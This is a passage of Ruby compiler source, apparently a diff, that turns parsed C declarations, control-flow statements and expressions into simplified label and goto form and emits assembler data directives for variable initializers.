data.type.align(@parser) + @source << ".align #{align = w}" if w > align + + @source << data.name.dup + len = c_idata_inner(data.type, data.initializer) + len %= w + len == 0 ? w : len + end + + # dumps an anonymous variable definition, appending to the last line of source + # source.last is a label name or is empty before calling here + # return the length of the data written + def c_idata_inner(type, value) + case type + when BaseType + value ||= 0 + + if type.name == :void + @source.last << ':' if not @source.last.empty? + return 0 + end + + @source.last << + case type.name + when :__int8; ' db ' + when :__int16; ' dw ' + when :__int32; ' dd ' + when :__int64; ' dq ' + when :ptr; " d#{%w[x b w x d x x x q][@parser.typesize[type.name]]} " + when :float; ' db ' + [value].pack(@parser.endianness == :little ? 'e' : 'g').unpack('C*').join(', ') + ' // ' + when :double; ' db ' + [value].pack(@parser.endianness == :little ? 'E' : 'G').unpack('C*').join(', ') + ' // ' + when :longdouble; ' db ' + [value].pack(@parser.endianness == :little ? 'E' : 'G').unpack('C*').join(', ') + ' // ' # XXX same as :double + else raise "unknown idata type #{type.inspect} #{value.inspect}" + end + + @source.last << c_idata_inner_cexpr(value) + + @parser.typesize[type.name] + + when Struct + value ||= [] + @source.last << ':' if not @source.last.empty? + # could .align here, but if there is our label name just before, it should have been .aligned too.. + raise "unknown struct initializer #{value.inspect}" if not value.kind_of? ::Array + sz = 0 + type.members.zip(value).each { |m, v| + if m.name and wsz = type.offsetof(@parser, m.name) and sz < wsz + @source << "db #{wsz-sz} dup(?)" + end + @source << '' + flen = c_idata_inner(m.type, v) + sz += flen + } + + sz + + when Union + value ||= [] + @source.last << ':' if not @source.last.empty? + len = sizeof(nil, type) + raise "unknown union initializer #{value.inspect}" if not value.kind_of? ::Array + idx = value.rindex(value.compact.last) || 0 + raise "empty union initializer" if not idx + wlen = c_idata_inner(type.members[idx].type, value[idx]) + @source << "db #{'0' * (len - wlen) * ', '}" if wlen < len + + len + + when Array + value ||= [] + if value.kind_of? CExpression and not value.op and value.rexpr.kind_of? ::String + elen = sizeof(nil, value.type.type) + @source.last << + case elen + when 1; ' db ' + when 2; ' dw ' + else raise 'bad char* type ' + value.inspect + end << value.rexpr.inspect + + len = type.length || (value.rexpr.length+1) + if len > value.rexpr.length + @source.last << (', 0' * (len - value.rexpr.length)) + end + + elen * len + + elsif value.kind_of? ::Array + @source.last << ':' if not @source.last.empty? + len = type.length || value.length + value.each { |v| + @source << '' + c_idata_inner(type.type, v) + } + len -= value.length + if len > 0 + @source << " db #{len * sizeof(nil, type.type)} dup(0)" + end + + sizeof(nil, type.type) * len + + else raise "unknown static array initializer #{value.inspect}" + end + end + end + + def c_idata_inner_cexpr(expr) + expr = expr.reduce(@parser) if expr.kind_of? CExpression + case expr + when ::Integer; (expr >= 4096) ? ('0x%X' % expr) : expr.to_s + when ::Numeric; expr.to_s + when Variable + case expr.type + when Array; expr.name + else c_idata_inner_cexpr(expr.initializer) + end + when CExpression + if not expr.lexpr + case expr.op + when :& + case expr.rexpr + when Variable; expr.rexpr.name + else raise 'unhandled addrof in initializer ' + expr.rexpr.inspect + end + #when :* + when :+; c_idata_inner_cexpr(expr.rexpr) + when :-; ' -' << c_idata_inner_cexpr(expr.rexpr) + when nil + e = c_idata_inner_cexpr(expr.rexpr) + if expr.rexpr.kind_of? CExpression + e = '(' << e << " & 0#{'ff'*sizeof(expr)}h)" + end + e + else raise 'unhandled initializer expr ' + expr.inspect + end + else + case expr.op + when :+, :-, :*, :/, :%, :<<, :>>, :&, :|, :^ + e = '(' << c_idata_inner_cexpr(expr.lexpr) << + expr.op.to_s << c_idata_inner_cexpr(expr.rexpr) << ')' + if expr.type.integral? + # db are unsigned + e = '(' << e << " & 0#{'ff'*sizeof(expr)}h)" + end + e + #when :'.' + #when :'->' + #when :'[]' + else raise 'unhandled initializer expr ' + expr.inspect + end + end + else raise 'unhandled initializer ' + expr.inspect + end + end + + def c_udata(data, align) + @source << "#{data.name} " + @source.last << + case data.type + when BaseType + len = @parser.typesize[data.type.name] + case data.type.name + when :__int8; 'db ?' + when :__int16; 'dw ?' + when :__int32; 'dd ?' + when :__int64; 'dq ?' + else "db #{len} dup(?)" + end + else + len = sizeof(data) + "db #{len} dup(?)" + end + len %= align + len == 0 ? align : len + end + + def check_reserved_name(var) + end + end + + class Statement + # all Statements/Declaration must define a precompile(compiler, scope) method + # it must append itself to scope.statements + + # turns a statement into a new block + def precompile_make_block(scope) + b = Block.new scope + b.statements << self + b + end + end + + class Block + # precompile all statements, then simplifies symbols/structs types + def precompile(compiler, scope=nil) + stmts = @statements.dup + @statements.clear + stmts.each { |st| + compiler.curexpr = st + st.precompile(compiler, self) + } + + # cleanup declarations + @symbol.delete_if { |n, s| not s.kind_of? Variable } + @struct.delete_if { |n, s| not s.kind_of? Union } + @symbol.each_value { |var| + CExpression.precompile_type(compiler, self, var, true) + } + @struct.each_value { |var| + next if not var.members + var.members.each { |m| + CExpression.precompile_type(compiler, self, m, true) + } + } + scope.statements << self if scope and not @statements.empty? + end + + # removes unused labels, and in-place goto (goto toto; toto:) + def precompile_optimize + list = [] + precompile_optimize_inner(list, 1) + precompile_optimize_inner(list, 2) + end + + # step 1: list used labels/unused goto + # step 2: remove unused labels + def precompile_optimize_inner(list, step) + lastgoto = nil + hadref = false + walk = lambda { |expr| + next if not expr.kind_of? CExpression + # gcc's unary && support + if not expr.op and not expr.lexpr and expr.rexpr.kind_of? Label + list << expr.rexpr.name + else + walk[expr.lexpr] + if expr.rexpr.kind_of? ::Array + expr.rexpr.each { |r| walk[r] } + else + walk[expr.rexpr] + end + end + } + @statements.dup.each { |s| + lastgoto = nil if not s.kind_of? Label + case s + when Block + s.precompile_optimize_inner(list, step) + @statements.delete s if step == 2 and s.statements.empty? + when CExpression; walk[s] if step == 1 + when Label + case step + when 1 + if lastgoto and lastgoto.target == s.name + list << lastgoto + list.delete s.name if not hadref + end + when 2; @statements.delete s if not list.include? s.name + end + when Goto, If + s.kind_of?(If) ? g = s.bthen : g = s + case step + when 1 + hadref = list.include? g.target + lastgoto = g + list << g.target + when 2 + if list.include? g + idx = @statements.index s + @statements.delete s + @statements[idx, 0] = s.test if s != g and not s.test.constant? + end + end + end + } + list + end + + # noop + def precompile_make_block(scope) self end + + def continue_label ; defined?(@continue_label) ? @continue_label : @outer.continue_label end + def continue_label=(l) @continue_label = l end + def break_label ; defined?(@break_label) ? @break_label : @outer.break_label end + def break_label=(l) @break_label = l end + def return_label ; defined?(@return_label) ? @return_label : @outer.return_label end + def return_label=(l) @return_label = l end + def nonauto_label=(l) @nonauto_label = l end + def nonauto_label ; defined?(@nonauto_label) ? @nonauto_label : @outer.nonauto_label end + def function ; defined?(@function) ? @function : @outer.function end + def function=(f) @function = f end + end + + class Declaration + def precompile(compiler, scope) + if (@var.type.kind_of? Function and @var.initializer and scope != compiler.toplevel) or @var.storage == :static or compiler.check_reserved_name(@var) + # TODO fix label name in export table if __exported + scope.symbol.delete @var.name + old = @var.name + @var.name = compiler.new_label @var.name until @var.name != old + compiler.toplevel.symbol[@var.name] = @var + # TODO no pure inline if addrof(func) needed + compiler.toplevel.statements << self unless @var.attributes.to_a.include? 'inline' + else + scope.symbol[@var.name] ||= @var + appendme = true + end + + if i = @var.initializer + if @var.type.kind_of? Function + if @var.type.type.kind_of? Struct + s = @var.type.type + v = Variable.new + v.name = compiler.new_label('return_struct_ptr') + v.type = Pointer.new(s) + CExpression.precompile_type(compiler, scope, v) + @var.type.args.unshift v + @var.type.type = v.type + end + i.function = @var + i.return_label = compiler.new_label('epilog') + i.nonauto_label = {} + i.precompile(compiler) + Label.new(i.return_label).precompile(compiler, i) + i.precompile_optimize + # append now so that static dependencies are declared before us + scope.statements << self if appendme and not @var.attributes.to_a.include? 'inline' + elsif scope != compiler.toplevel and @var.storage != :static + scope.statements << self if appendme + Declaration.precompile_dyn_initializer(compiler, scope, @var, @var.type, i) + @var.initializer = nil + else + scope.statements << self if appendme + @var.initializer = Declaration.precompile_static_initializer(compiler, @var.type, i) + end + else + scope.statements << self if appendme + end + + end + + # turns an initializer to CExpressions in scope.statements + def self.precompile_dyn_initializer(compiler, scope, var, type, init) + case type = type.untypedef + when Array + # XXX TODO type.length may be dynamic !! + case init + when CExpression + # char toto[] = "42" + if not init.kind_of? CExpression or init.op or init.lexpr or not init.rexpr.kind_of? ::String + raise "unknown initializer #{init.inspect} for #{var.inspect}" + end + init = init.rexpr.unpack('C*') + [0] + init.map! { |chr| CExpression.new(nil, nil, chr, type.type) } + precompile_dyn_initializer(compiler, scope, var, type, init) + + when ::Array + type.length ||= init.length + # len is an Integer + init.each_with_index { |it, idx| + next if not it + break if idx >= type.length + idx = CExpression.new(nil, nil, idx, BaseType.new(:long, :unsigned)) + v = CExpression.new(var, :'[]', idx, type.type) + precompile_dyn_initializer(compiler, scope, v, type.type, it) + } + else raise "unknown initializer #{init.inspect} for #{var.inspect}" + end + when Union + case init + when CExpression, Variable + if init.type.untypedef.kind_of? BaseType + # works for struct foo bar[] = {0}; ... + type.members.each { |m| + v = CExpression.new(var, :'.', m.name, m.type) + precompile_dyn_initializer(compiler, scope, v, v.type, init) + } + elsif init.type.untypedef.kind_of? type.class + CExpression.new(var, :'=', init, type).precompile(compiler, scope) + else + raise "bad initializer #{init.inspect} for #{var.inspect}" + end + when ::Array + init.each_with_index{ |it, idx| + next if not it + m = type.members[idx] + v = CExpression.new(var, :'.', m.name, m.type) + precompile_dyn_initializer(compiler, scope, v, m.type, it) + } + else raise "unknown initializer #{init.inspect} for #{var.inspect}" + end + else + case init + when CExpression + CExpression.new(var, :'=', init, type).precompile(compiler, scope) + else raise "unknown initializer #{init.inspect} for #{var.inspect}" + end + end + end + + # returns a precompiled static initializer (eg string constants) + def self.precompile_static_initializer(compiler, type, init) + # TODO + case type = type.untypedef + when Array + if init.kind_of? ::Array + init.map { |i| precompile_static_initializer(compiler, type.type, i) } + else + init + end + when Union + if init.kind_of? ::Array + init.zip(type.members).map { |i, m| precompile_static_initializer(compiler, m.type, i) } + else + init + end + else + if init.kind_of? CExpression and init = init.reduce(compiler) and init.kind_of? CExpression + if not init.op and init.rexpr.kind_of? ::String + v = Variable.new + v.storage = :static + v.name = 'char_' + init.rexpr.gsub(/[^a-zA-Z]/, '')[0, 8] + v.type = Array.new(type.type) + v.type.length = init.rexpr.length + 1 + v.type.type.qualifier = [:const] + v.initializer = CExpression.new(nil, nil, init.rexpr, type) + Declaration.new(v).precompile(compiler, compiler.toplevel) + init.rexpr = v + end + init.rexpr = precompile_static_initializer(compiler, init.rexpr.type, init.rexpr) if init.rexpr.kind_of? CExpression + init.lexpr = precompile_static_initializer(compiler, init.lexpr.type, init.lexpr) if init.lexpr.kind_of? CExpression + end + init + end + end + end + + class If + def precompile(compiler, scope) + expr = lambda { |e| e.kind_of?(CExpression) ? e : CExpression.new(nil, nil, e, e.type) } + + if @bthen.kind_of? Goto or @bthen.kind_of? Break or @bthen.kind_of? Continue + # if () goto l; else b; => if () goto l; b; + if belse + t1 = @belse + @belse = nil + end + + # need to convert user-defined Goto target ! + @bthen.precompile(compiler, scope) + @bthen = scope.statements.pop # break => goto break_label + elsif belse + # if () a; else b; => if () goto then; b; goto end; then: a; end: + t1 = @belse + t2 = @bthen + l2 = compiler.new_label('if_then') + @bthen = Goto.new(l2) + @belse = nil + l3 = compiler.new_label('if_end') + else + # if () a; => if (!) goto end; a; end: + t1 = @bthen + l2 = compiler.new_label('if_end') + @bthen = Goto.new(l2) + @test = CExpression.negate(@test) + end + + @test = expr[@test] + case @test.op + when :'&&' + # if (c1 && c2) goto a; => if (!c1) goto b; if (c2) goto a; b: + l1 = compiler.new_label('if_nand') + If.new(CExpression.negate(@test.lexpr), Goto.new(l1)).precompile(compiler, scope) + @test = expr[@test.rexpr] + precompile(compiler, scope) + when :'||' + l1 = compiler.new_label('if_or') + If.new(expr[@test.lexpr], Goto.new(@bthen.target)).precompile(compiler, scope) + @test = expr[@test.rexpr] + precompile(compiler, scope) + else + @test = CExpression.precompile_inner(compiler, scope, @test) + t = @test.reduce(compiler) + if t.kind_of? ::Integer + if t == 0 + Label.new(l1, nil).precompile(compiler, scope) if l1 + t1.precompile(compiler, scope) if t1 + Label.new(l2, nil).precompile(compiler, scope) if l2 + Label.new(l3, nil).precompile(compiler, scope) if l3 + else + scope.statements << @bthen + Label.new(l1, nil).precompile(compiler, scope) if l1 + Label.new(l2, nil).precompile(compiler, scope) if l2 + t2.precompile(compiler, scope) if t2 + Label.new(l3, nil).precompile(compiler, scope) if l3 + end + return + end + scope.statements << self + end + + Label.new(l1, nil).precompile(compiler, scope) if l1 + t1.precompile(compiler, scope) if t1 + Goto.new(l3).precompile(compiler, scope) if l3 + Label.new(l2, nil).precompile(compiler, scope) if l2 + t2.precompile(compiler, scope) if t2 + Label.new(l3, nil).precompile(compiler, scope) if l3 + end + end + + class For + def precompile(compiler, scope) + if init + @init.precompile(compiler, scope) + scope = @init if @init.kind_of? Block + end + + @body = @body.precompile_make_block scope + @body.continue_label = compiler.new_label 'for_continue' + @body.break_label = compiler.new_label 'for_break' + label_test = compiler.new_label 'for_test' + + Label.new(label_test).precompile(compiler, scope) + if test + If.new(CExpression.negate(@test), Goto.new(@body.break_label)).precompile(compiler, scope) + end + + @body.precompile(compiler, scope) + + Label.new(@body.continue_label).precompile(compiler, scope) + if iter + @iter.precompile(compiler, scope) + end + + Goto.new(label_test).precompile(compiler, scope) + Label.new(@body.break_label).precompile(compiler, scope) + end + end + + class While + def precompile(compiler, scope) + @body = @body.precompile_make_block scope + @body.continue_label = compiler.new_label('while_continue') + @body.break_label = compiler.new_label('while_break') + + Label.new(@body.continue_label).precompile(compiler, scope) + + If.new(CExpression.negate(@test), Goto.new(@body.break_label)).precompile(compiler, scope) + + @body.precompile(compiler, scope) + + Goto.new(@body.continue_label).precompile(compiler, scope) + Label.new(@body.break_label).precompile(compiler, scope) + end + end + + class DoWhile + def precompile(compiler, scope) + @body = @body.precompile_make_block scope + @body.continue_label = compiler.new_label('dowhile_continue') + @body.break_label = compiler.new_label('dowhile_break') + loop_start = compiler.new_label('dowhile_start') + + Label.new(loop_start).precompile(compiler, scope) + + @body.precompile(compiler, scope) + + Label.new(@body.continue_label).precompile(compiler, scope) + + If.new(@test, Goto.new(loop_start)).precompile(compiler, scope) + + Label.new(@body.break_label).precompile(compiler, scope) + end + end + + class Switch + def precompile(compiler, scope) + var = Variable.new + var.storage = :register + var.name = compiler.new_label('switch') + var.type = @test.type + var.initializer = @test + CExpression.precompile_type(compiler, scope, var) + Declaration.new(var).precompile(compiler, scope) + + @body = @body.precompile_make_block scope + @body.break_label = compiler.new_label('switch_break') + @body.precompile(compiler) + default = @body.break_label + # recursive lambda to change Case to Labels + # dynamically creates the If sequence + walk = lambda { |blk| + blk.statements.each_with_index { |s, i| + case s + when Case + label = compiler.new_label('case') + if s.expr == 'default' + default = label + elsif s.exprup + If.new(CExpression.new(CExpression.new(var, :'>=', s.expr, BaseType.new(:int)), :'&&', + CExpression.new(var, :'<=', s.exprup, BaseType.new(:int)), + BaseType.new(:int)), Goto.new(label)).precompile(compiler, scope) + else + If.new(CExpression.new(var, :'==', s.expr, BaseType.new(:int)), + Goto.new(label)).precompile(compiler, scope) + end + blk.statements[i] = Label.new(label) + when Block + walk[s] + end + } + } + walk[@body] + Goto.new(default).precompile(compiler, scope) + scope.statements << @body + Label.new(@body.break_label).precompile(compiler, scope) + end + end + + class Continue + def precompile(compiler, scope) + Goto.new(scope.continue_label).precompile(compiler, scope) + end + end + + class Break + def precompile(compiler, scope) + Goto.new(scope.break_label).precompile(compiler, scope) + end + end + + class Return + def precompile(compiler, scope) + if @value + @value = CExpression.new(nil, nil, @value, @value.type) if not @value.kind_of? CExpression + if @value.type.untypedef.kind_of? Struct + @value = @value.precompile_inner(compiler, scope) + func = scope.function.type + CExpression.new(CExpression.new(nil, :*, func.args.first, @value.type), :'=', @value, @value.type).precompile(compiler, scope) + @value = func.args.first + else + # cast to function return type + @value = CExpression.new(nil, nil, @value, scope.function.type.type).precompile_inner(compiler, scope) + end + scope.statements << self + end + Goto.new(scope.return_label).precompile(compiler, scope) + end + end + + class Label + def precompile(compiler, scope) + if name and (not compiler.auto_label_list[@name]) + @name = scope.nonauto_label[@name] ||= compiler.new_label(@name) + end + scope.statements << self + if statement + @statement.precompile(compiler, scope) + @statement = nil + end + end + end + + class Case + def precompile(compiler, scope) + @expr = CExpression.precompile_inner(compiler, scope, @expr) + @exprup = CExpression.precompile_inner(compiler, scope, @exprup) if exprup + super(compiler, scope) + end + end + + class Goto + def precompile(compiler, scope) + if not compiler.auto_label_list[@target] + @target = scope.nonauto_label[@target] ||= compiler.new_label(@target) + end + scope.statements << self + end + end + + class Asm + def precompile(compiler, scope) + scope.statements << self + # TODO CExpr.precompile_type(clobbers) + end + end + + class CExpression + def precompile(compiler, scope) + i = precompile_inner(compiler, scope, false) + scope.statements << i if i + end + + # changes obj.type to a precompiled type + # keeps struct/union, change everything else to __int\d + # except Arrays if declaration is true (need to know variable allocation sizes etc) + # returns the type + def self.precompile_type(compiler, scope, obj, declaration = false) + case t = obj.type.untypedef + when BaseType + case t.name + when :void + when :float, :double, :longdouble + else t = BaseType.new("__int#{compiler.typesize[t.name]*8}".to_sym, t.specifier) + end + when Array + if declaration; precompile_type(compiler, scope, t, declaration) + else t = BaseType.new("__int#{compiler.typesize[:ptr]*8}".to_sym, :unsigned) + end + when Pointer + if t.type.untypedef.kind_of? Function + precompile_type(compiler, scope, t, declaration) + else + t = BaseType.new("__int#{compiler.typesize[:ptr]*8}".to_sym, :unsigned) + end + when Enum; t = BaseType.new("__int#{compiler.typesize[:int]*8}".to_sym) + when Function + precompile_type(compiler, scope, t) + t.args ||= [] + t.args.each { |a| precompile_type(compiler, scope, a) } + when Union + if declaration and t.members and not t.name # anonymous struct + t.members.each { |a| precompile_type(compiler, scope, a, true) } + end + else raise 'bad type ' + t.inspect + end + (t.qualifier ||= []).concat obj.type.qualifier if obj.type.qualifier and t != obj.type + (t.attributes ||= []).concat obj.type.attributes if obj.type.attributes and t != obj.type + while obj.type.kind_of? TypeDef + obj.type = obj.type.type + (t.qualifier ||= []).concat obj.type.qualifier if obj.type.qualifier and t != obj.type + (t.attributes ||= []).concat obj.type.attributes if obj.type.attributes and t != obj.type + end + obj.type = t + end + + def self.precompile_inner(compiler, scope, expr, nested = true) + case expr + when CExpression; expr.precompile_inner(compiler, scope, nested) + else expr + end + end + + # returns a new CExpression with simplified self.type, computes structure offsets + # turns char[]/float immediates to reference to anonymised const + # TODO 'a = b += c' => 'b += c; a = b' (use nested argument) + # TODO handle precompile_inner return nil + # TODO struct.bits + def precompile_inner(compiler, scope, nested = true) + case @op + when :'.' + # a.b => (&a)->b + lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) + ll = lexpr + ll = lexpr.rexpr while ll.kind_of? CExpression and not ll.op + if ll.kind_of? CExpression and ll.op == :'*' and not ll.lexpr + # do not change lexpr.rexpr.type directly to a pointer, might retrigger (ptr+imm) => (ptr + imm*sizeof(*ptr)) + @lexpr = CExpression.new(nil, nil, ll.rexpr, Pointer.new(lexpr.type)) + else + @lexpr = CExpression.new(nil, :'&', lexpr, Pointer.new(lexpr.type)) + end + @op = :'->' + precompile_inner(compiler, scope) + when :'->' + # a->b => *(a + off(b)) + struct = @lexpr.type.untypedef.type.untypedef + lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) + @lexpr = nil + @op = nil + if struct.kind_of? Struct and (off = struct.offsetof(compiler, @rexpr)) != 0 + off = CExpression.new(nil, nil, off, BaseType.new(:int, :unsigned)) + @rexpr = CExpression.new(lexpr, :'+', off, lexpr.type) + # ensure the (ptr + value) is not expanded to (ptr + value * sizeof(*ptr)) + CExpression.precompile_type(compiler, scope, @rexpr) + else + # union or 1st struct member + @rexpr = lexpr + end + if @type.kind_of? Array # Array member type is already an address + else + @rexpr = CExpression.new(nil, :*, @rexpr, @rexpr.type) + end + precompile_inner(compiler, scope) + when :'[]' + rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) + if rexpr.kind_of? CExpression and not rexpr.op and rexpr.rexpr == 0 + @rexpr = @lexpr + else + @rexpr = CExpression.new(@lexpr, :'+', rexpr, @lexpr.type) + end + @op = :'*' + @lexpr = nil + precompile_inner(compiler, scope) + when :'?:' + # cannot precompile in place, a conditionnal expression may have a coma: must turn into If + if @lexpr.kind_of? CExpression + @lexpr = @lexpr.precompile_inner(compiler, scope) + if not @lexpr.lexpr and not @lexpr.op and @lexpr.rexpr.kind_of? ::Numeric + if @lexpr.rexpr == 0 + e = @rexpr[1] + else + e = @rexpr[0] + end + e = CExpression.new(nil, nil, e, e.type) if not e.kind_of? CExpression + return e.precompile_inner(compiler, scope) + end + end + raise 'conditional in toplevel' if scope == compiler.toplevel # just in case + var = Variable.new + var.storage = :register + var.name = compiler.new_label('ternary') + var.type = @rexpr[0].type + CExpression.precompile_type(compiler, scope, var) + Declaration.new(var).precompile(compiler, scope) + If.new(@lexpr, CExpression.new(var, :'=', @rexpr[0], var.type), CExpression.new(var, :'=', @rexpr[1], var.type)).precompile(compiler, scope) + @lexpr = nil + @op = nil + @rexpr = var + precompile_inner(compiler, scope) + when :'&&' + if scope == compiler.toplevel + @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) + @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) + CExpression.precompile_type(compiler, scope, self) + self + else + var = Variable.new + var.storage = :register + var.name = compiler.new_label('and') + var.type = @type + CExpression.precompile_type(compiler, scope, var) + var.initializer = CExpression.new(nil, nil, 0, var.type) + Declaration.new(var).precompile(compiler, scope) + l = @lexpr.kind_of?(CExpression) ? @lexpr : CExpression.new(nil, nil, @lexpr, @lexpr.type) + r = @rexpr.kind_of?(CExpression) ? @rexpr : CExpression.new(nil, nil, @rexpr, @rexpr.type) + If.new(l, If.new(r, CExpression.new(var, :'=', CExpression.new(nil, nil, 1, var.type), var.type))).precompile(compiler, scope) + @lexpr = nil + @op = nil + @rexpr = var + precompile_inner(compiler, scope) + end + when :'||' + if scope == compiler.toplevel + @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) + @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) + CExpression.precompile_type(compiler, scope, self) + self + else + var = Variable.new + var.storage = :register + var.name = compiler.new_label('or') + var.type = @type + CExpression.precompile_type(compiler, scope, var) + var.initializer = CExpression.new(nil, nil, 1, var.type) + Declaration.new(var).precompile(compiler, scope) + l = @lexpr.kind_of?(CExpression) ? @lexpr : CExpression.new(nil, nil, @lexpr, @lexpr.type) + l = CExpression.new(nil, :'!', l, var.type) + r = @rexpr.kind_of?(CExpression) ? @rexpr : CExpression.new(nil, nil, @rexpr, @rexpr.type) + r = CExpression.new(nil, :'!', r, var.type) + If.new(l, If.new(r, CExpression.new(var, :'=', CExpression.new(nil, nil, 0, var.type), var.type))).precompile(compiler, scope) + @lexpr = nil + @op = nil + @rexpr = var + precompile_inner(compiler, scope) + end + when :funcall + if @lexpr.kind_of? Variable and @lexpr.type.kind_of? Function and @lexpr.attributes and @lexpr.attributes.include? 'inline' and @lexpr.initializer + # TODO check recursive call (direct or indirect) + raise 'inline varargs unsupported' if @lexpr.type.varargs + rtype = @lexpr.type.type.untypedef + if not rtype.kind_of? BaseType or rtype.name != :void + rval = Variable.new + rval.name = compiler.new_label('inline_return') + rval.type = @lexpr.type.type + Declaration.new(rval).precompile(compiler, scope) + end + inline_label = {} + locals = @lexpr.type.args.zip(@rexpr).inject({}) { |h, (fa, a)| + h.update fa => CExpression.new(nil, nil, a, fa.type).precompile_inner(compiler, scope) + } + copy_inline_ce = lambda { |ce| + case ce + when CExpression; CExpression.new(copy_inline_ce[ce.lexpr], ce.op, copy_inline_ce[ce.rexpr], ce.type) + when Variable; locals[ce] || ce + when ::Array; ce.map { |e_| copy_inline_ce[e_] } + else ce + end + } + copy_inline = lambda { |stmt, scp| + case stmt + when Block + b = Block.new(scp) + stmt.statements.each { |s| + s = copy_inline[s, b] + b.statements << s if s + } + b + when If; If.new(copy_inline_ce[stmt.test], copy_inline[stmt.bthen, scp]) # re-precompile ? + when Label; Label.new(inline_label[stmt.name] ||= compiler.new_label('inline_'+stmt.name)) + when Goto; Goto.new(inline_label[stmt.target] ||= compiler.new_label('inline_'+stmt.target)) + when Return; CExpression.new(rval, :'=', copy_inline_ce[stmt.value], rval.type).precompile_inner(compiler, scp) if stmt.value + when CExpression; copy_inline_ce[stmt] + when Declaration + nv = stmt.var.dup + if nv.type.kind_of? Array and nv.type.length.kind_of? CExpression + nv.type = Array.new(nv.type.type, copy_inline_ce[nv.type.length]) # XXX nested dynamic? + end + locals[stmt.var] = nv + scp.symbol[nv.name] = nv + Declaration.new(nv) + else raise 'unexpected inline statement ' + stmt.inspect + end + } + scope.statements << copy_inline[@lexpr.initializer, scope] # body already precompiled + CExpression.new(nil, nil, rval, rval.type).precompile_inner(compiler, scope) + elsif @type.kind_of? Struct + var = Variable.new + var.name = compiler.new_label('return_struct') + var.type = @type + Declaration.new(var).precompile(compiler, scope) + @rexpr.unshift CExpression.new(nil, :&, var, Pointer.new(var.type)) + + var2 = Variable.new + var2.name = compiler.new_label('return_struct_ptr') + var2.type = Pointer.new(@type) + var2.storage = :register + CExpression.precompile_type(compiler, scope, var2) + Declaration.new(var2).precompile(compiler, scope) + @type = var2.type + CExpression.new(var2, :'=', self, var2.type).precompile(compiler, scope) + + CExpression.new(nil, :'*', var2, var.type).precompile_inner(compiler, scope) + else + t = @lexpr.type.untypedef + t = t.type.untypedef if t.pointer? + @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) + types = t.args.map { |a| a.type } + # cast args to func prototype + @rexpr.map! { |e_| (types.empty? ? e_ : CExpression.new(nil, nil, e_, types.shift)).precompile_inner(compiler, scope) } + CExpression.precompile_type(compiler, scope, self) + self + end + when :',' + lexpr = @lexpr.kind_of?(CExpression) ? @lexpr : CExpression.new(nil, nil, @lexpr, @lexpr.type) + rexpr = @rexpr.kind_of?(CExpression) ? @rexpr : CExpression.new(nil, nil, @rexpr, @rexpr.type) + lexpr.precompile(compiler, scope) + rexpr.precompile_inner(compiler, scope) + when :'!' + CExpression.precompile_type(compiler, scope, self) + if @rexpr.kind_of?(CExpression) + case @rexpr.op + when :'<', :'>', :'<=', :'>=', :'==', :'!=' + @op = { :'<' => :'>=', :'>' => :'<=', :'<=' => :'>', :'>=' => :'<', + :'==' => :'!=', :'!=' => :'==' }[@rexpr.op] + @lexpr = @rexpr.lexpr + @rexpr = @rexpr.rexpr + precompile_inner(compiler, scope) + when :'&&', :'||' + @op = { :'&&' => :'||', :'||' => :'&&' }[@rexpr.op] + @lexpr = CExpression.new(nil, :'!', @rexpr.lexpr, @type) + @rexpr = CExpression.new(nil, :'!', @rexpr.rexpr, @type) + precompile_inner(compiler, scope) + when :'!' + if @rexpr.rexpr.kind_of? CExpression + @op = nil + @rexpr = @rexpr.rexpr + else + @op = :'!=' + @lexpr = @rexpr.rexpr + @rexpr = CExpression.new(nil, nil, 0, @lexpr.type) + end + precompile_inner(compiler, scope) + else + @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) + self + end + else + @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) + self + end + when :'++', :'--' + if not @rexpr + var = Variable.new + var.storage = :register + var.name = compiler.new_label('postincrement') + var.type = @type + Declaration.new(var).precompile(compiler, scope) + CExpression.new(var, :'=', @lexpr, @type).precompile(compiler, scope) + CExpression.new(nil, @op, @lexpr, @type).precompile(compiler, scope) + @lexpr = nil + @op = nil + @rexpr = var + precompile_inner(compiler, scope) + elsif @type.pointer? and compiler.sizeof(nil, @type.untypedef.type.untypedef) != 1 + # ++ptr => ptr += sizeof(*ptr) (done in += precompiler) + @op = { :'++' => :'+=', :'--' => :'-=' }[@op] + @lexpr = @rexpr + @rexpr = CExpression.new(nil, nil, 1, BaseType.new(:ptr, :unsigned)) + precompile_inner(compiler, scope) + else + CExpression.precompile_type(compiler, scope, self) + @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) + self + end + when :'=' + # handle structure assignment/array assignment + case @lexpr.type.untypedef + when Union + # rexpr may be a :funcall + @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) + @lexpr.type.untypedef.members.zip(@rexpr.type.untypedef.members) { |m1, m2| + # assume m1 and m2 are compatible + v1 = CExpression.new(@lexpr, :'.', m1.name, m1.type) + v2 = CExpression.new(@rexpr, :'.', m2.name, m1.type) + CExpression.new(v1, :'=', v2, v1.type).precompile(compiler, scope) + } + # (foo = bar).toto + @op = nil + @rexpr = @lexpr + @lexpr = nil + @type = @rexpr.type + precompile_inner(compiler, scope) if nested + when Array + if not len = @lexpr.type.untypedef.length + @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) + # char toto[] = "bla" + if @rexpr.kind_of? CExpression and not @rexpr.lexpr and not @rexpr.op and + @rexpr.rexpr.kind_of? Variable and @rexpr.rexpr.type.kind_of? Array + len = @rexpr.rexpr.type.length + end + end + raise 'array initializer with no length !' if not len + # TODO optimize... + len.times { |i| + i = CExpression.new(nil, nil, i, BaseType.new(:long, :unsigned)) + v1 = CExpression.new(@lexpr, :'[]', i, @lexpr.type.untypedef.type) + v2 = CExpression.new(@rexpr, :'[]', i, v1.type) + CExpression.new(v1, :'=', v2, v1.type).precompile(compiler, scope) + } + @op = nil + @rexpr = @lexpr + @lexpr = nil + @type = @rexpr.type + precompile_inner(compiler, scope) if nested + else + @lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) + @rexpr = CExpression.precompile_inner(compiler, scope, @rexpr) + CExpression.precompile_type(compiler, scope, self) + self + end + when nil + case @rexpr + when Block + # compound statements + raise 'compound statement in toplevel' if scope == compiler.toplevel # just in case + var = 